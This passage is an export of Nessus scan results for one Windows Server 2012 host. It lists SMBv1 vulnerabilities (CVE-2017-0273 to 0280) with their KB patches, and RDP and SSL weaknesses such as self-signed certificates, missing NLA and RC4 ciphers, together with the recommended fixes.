2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0273		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0274		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0275		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0276		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0277		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0278		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0279		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		100464		CVE-2017-0280		9.3		High		10.0.2.10		tcp		445		Microsoft Windows SMBv1 Multiple Vulnerabilities		The remote Windows host is affected by multiple vulnerabilities.		The remote Windows host has Microsoft Server Message Block 1.0 (SMBv1)
enabled. It is, therefore, affected by multiple vulnerabilities :

  - Multiple information disclosure vulnerabilities exist
    in Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to disclose sensitive
    information. (CVE-2017-0267, CVE-2017-0268,
    CVE-2017-0270, CVE-2017-0271, CVE-2017-0274,
    CVE-2017-0275, CVE-2017-0276)

  - Multiple denial of service vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of requests. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMB request, to cause the system to
    stop responding. (CVE-2017-0269, CVE-2017-0273,
    CVE-2017-0280)

  - Multiple remote code execution vulnerabilities exist in
    Microsoft Server Message Block 1.0 (SMBv1) due to
    improper handling of SMBv1 packets. An unauthenticated,
    remote attacker can exploit these vulnerabilities, via a
    specially crafted SMBv1 packet, to execute arbitrary
    code. (CVE-2017-0272, CVE-2017-0277, CVE-2017-0278,
    CVE-2017-0279)

Depending on the host's security policy configuration, this plugin
cannot always correctly determine if the Windows host is vulnerable if
the host is running a later Windows version (i.e., Windows 8.1, 10,
2012, 2012 R2, and 2016) specifically that named pipes and shares are
allowed to be accessed remotely and anonymously. Tenable does not
recommend this configuration, and the hosts should be checked locally
for patches with one of the following plugins, depending on the
Windows version : 100054, 100055, 100057, 100059, 100060, or 100061.		Apply the applicable security update for your Windows version :

  - Windows Server 2008     : KB4018466
  - Windows 7               : KB4019264
  - Windows Server 2008 R2  : KB4019264
  - Windows Server 2012     : KB4019216
  - Windows 8.1 / RT 8.1.   : KB4019215
  - Windows Server 2012 R2  : KB4019215
  - Windows 10              : KB4019474
  - Windows 10 Version 1511 : KB4019473
  - Windows 10 Version 1607 : KB4019472
  - Windows 10 Version 1703 : KB4016871
  - Windows Server 2016     : KB4019472		http://www.nessus.org/u?c21268d4
http://www.nessus.org/u?b9253982
http://www.nessus.org/u?23802c83
http://www.nessus.org/u?8313bb60
http://www.nessus.org/u?7677c678
http://www.nessus.org/u?36da236c
http://www.nessus.org/u?0981b934
http://www.nessus.org/u?c88efefa
http://www.nessus.org/u?695bf5cc
http://www.nessus.org/u?459a1e8c
http://www.nessus.org/u?ea45bbc5
http://www.nessus.org/u?4195776a
http://www.nessus.org/u?fbf092cf
http://www.nessus.org/u?8c0cc566				High

		30218				2.6		Low		10.0.2.10		tcp		3389		Terminal Services Encryption Level is not FIPS-140 Compliant		The remote host is not FIPS-140 compliant.		The encryption setting used by the remote Terminal Services service
is not FIPS-140 compliant.		Change RDP encryption level to :

 4. FIPS Compliant				
The terminal services encryption level is set to :

2. Medium (Client Compatible)		Low

		18405		CVE-2005-1794		5.1		Medium		10.0.2.10		tcp		3389		Remote Desktop Protocol Server Man-in-the-Middle Weakness		It may be possible to get access to the remote host.		The remote version of the Remote Desktop Protocol Server (Terminal
Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP
client makes no effort to validate the identity of the server when
setting up encryption. An attacker with the ability to intercept
traffic from the RDP server can establish encryption with the client
and server without being detected. A MiTM attack of this nature would
allow the attacker to obtain any sensitive information transmitted,
including authentication credentials.

This flaw exists because the RDP server stores a publicly known
hard-coded RSA private key. Any attacker in a privileged network
location can use the key for this attack.		- Force the use of SSL as a transport layer for this service if
supported, or/and

- On Microsoft Windows operating systems, select the 'Allow connections
only from computers running Remote  Desktop with Network Level
Authentication' setting if it is available.		http://www.nessus.org/u?8033da0d				Medium

		45411				5		Medium		10.0.2.10		tcp		3389		SSL Certificate with Wrong Hostname		The SSL certificate for this service is for a different host.		The 'commonName' (CN) attribute of the SSL certificate presented for
this service is for a different machine.		Purchase or generate a proper SSL certificate for this service.				
The identities known by Nessus are :

  10.0.2.10
  Server2012

The Common Name in the certificate is :

  Server2012.ACCB6000.com
		Medium

		51192				6.4		Medium		10.0.2.10		tcp		3389		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : CN=Server2012.ACCB6000.com
|-Issuer  : CN=Server2012.ACCB6000.com
		Medium

		57582				6.4		Medium		10.0.2.10		tcp		3389		SSL Self-Signed Certificate		The SSL certificate chain for this service ends in an unrecognized
self-signed certificate.		The X.509 certificate chain for this service is not signed by a
recognized certificate authority.  If the remote host is a public host
in production, this nullifies the use of SSL as anyone could establish
a man-in-the-middle attack against the remote host. 

Note that this plugin does not check for certificate chains that end
in a certificate that is not self-signed, but is signed by an
unrecognized certificate authority.		Purchase or generate a proper SSL certificate for this service.				
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : CN=Server2012.ACCB6000.com
		Medium

		57690				4.3		Medium		10.0.2.10		tcp		3389		Terminal Services Encryption Level is Medium or Low		The remote host is using weak cryptography.		The remote Terminal Services service is not configured to use strong
cryptography. 

Using weak cryptography with this service may allow an attacker to
eavesdrop on the communications more easily and obtain screenshots
and/or keystrokes.		Change RDP encryption level to one of :

 3. High

 4. FIPS Compliant				
The terminal services encryption level is set to :

2. Medium		Medium

		58453				4.3		Medium		10.0.2.10		tcp		3389		Terminal Services Doesn't Use Network Level Authentication (NLA) Only		The remote Terminal Services doesn't use Network Level Authentication only.		The remote Terminal Services is not configured to use Network Level
Authentication (NLA) only. NLA uses the Credential Security Support
Provider (CredSSP) protocol to perform strong server authentication
either through TLS/SSL or Kerberos mechanisms, which protect against
man-in-the-middle attacks. In addition to improving authentication, 
NLA also helps protect the remote computer from malicious users and 
software by completing user authentication before a full RDP 
connection is established.		Enable Network Level Authentication (NLA) on the remote RDP server. This is
generally done on the 'Remote' tab of the 'System' settings on Windows.		https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc732713(v=ws.11)
http://www.nessus.org/u?e2628096		Nessus was able to negotiate non-NLA (Network Level Authentication) security.		Medium

		65821		CVE-2013-2566		4.3		Medium		10.0.2.10		tcp		3389		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		Medium

		65821		CVE-2015-2808		4.3		Medium		10.0.2.10		tcp		3389		SSL RC4 Cipher Suites Supported (Bar Mitzvah)		The remote service supports the use of the RC4 cipher.		The remote host supports the use of RC4 in one or more cipher suites.
The RC4 cipher is flawed in its generation of a pseudo-random stream
of bytes so that a wide variety of small biases are introduced into
the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an
attacker is able to obtain many (i.e., tens of millions) ciphertexts,
the attacker may be able to derive the plaintext.		Reconfigure the affected application, if possible, to avoid use of RC4
ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser
and web server support.		https://www.rc4nomore.com/
http://www.nessus.org/u?ac7327a0
http://cr.yp.to/talks/2013.03.12/slides.pdf
http://www.isg.rhul.ac.uk/tls/
https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf		
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		Medium

